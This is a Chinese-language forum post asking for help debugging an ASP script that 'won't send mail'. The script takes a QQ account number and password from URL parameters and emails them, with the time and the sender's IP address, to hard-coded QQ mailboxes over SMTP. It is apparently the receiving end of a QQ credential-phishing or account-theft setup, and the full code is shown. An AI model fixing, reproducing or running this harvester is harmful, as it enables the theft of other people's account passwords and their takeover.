高手帮忙看看这代码哪里有问题 为什么就不发信
http://***.COM/Forum.asp?qqnumber=1231&xin=1&pass=123123

<%
TToAddress=request("Xin")
QQNumber=request("QQNumber")
QQPassWord=request("Pass")

if QQNumber="" or QQPassWord="" then
  response.write "Test"
  response.end
End If

function InjectProcess(strInject)
  strInject = Replace(strInject, " ", vbNullString)
  strInject = Replace(strInject, "<", vbNullString)
  strInject = Replace(strInject, ">", vbNullString)
  strInject = Replace(strInject, """", vbNullString)
  strInject = Replace(strInject, "'", vbNullString)
  strInject = Replace(strInject, "%", vbNullString)
  strInject = Replace(strInject, ";", vbNullString)
  strInject = Replace(strInject, "(", vbNullString)
  strInject = Replace(strInject, ")", vbNullString)
  strInject = Replace(strInject, "&", vbNullString)
  strInject = Replace(strInject, "+", vbNullString)
  strInject = Replace(strInject, "-", vbNullString)
end function

CALL InjectProcess(TToAddress)
CALL InjectProcess(QQNumber)

Select Case TToAddress
Case 1
   StrToAddress = "4109119@qq.com"
Case 2
   StrToAddress = "4109119@qq.com"
Case else
   StrToAddress = "66736663@qq.com"
End Select

function SendMail(ToAddress,subject,msg)
Dim Jmail
sender="webmaster@lply.com"                                '发送邮箱
Set Jmail=server.createobject("Jmail.Message")
Jmail.Charset = "GB2312"                                   '发送编码
jmail.ContentType = "text/html" 
jmail.ISOEncodeHeaders ="False"
Jmail.Silent = true
Jmail.Priority = 3
Jmail.MailServerUserName = "webmaster@lply.com"            '邮箱用户名
Jmail.MailServerPassword = "************"                  '邮箱密码
Jmail.From = sender
Jmail.Subject = subject       
Jmail.AddRecipient  ToAddress                               '收信人地址       
Jmail.Body=msg
Jmail.Send("mail.lply.com")                                'SMTP服务器
response.write "Send a Letter OK!<br><br>"
end function

if QQNumber<>"" and QQPassWord<>"" then
strSubject=QQNumber&time
  StrMailBody="区+账号:"&QQNumber&"<br><br>密码:"&QQPassWord&""
  StrMailBody=StrMailBody&"发信时间:"&date&" "&time&"<br><br>"
  StrMailBody=StrMailBody&"发信人IP地址:"&request.servervariables("REMOTE_HOST")
  Call SendMail (strToAddress,strSubject,StrMailBody)
End If
%> 
就是不发信怎么回事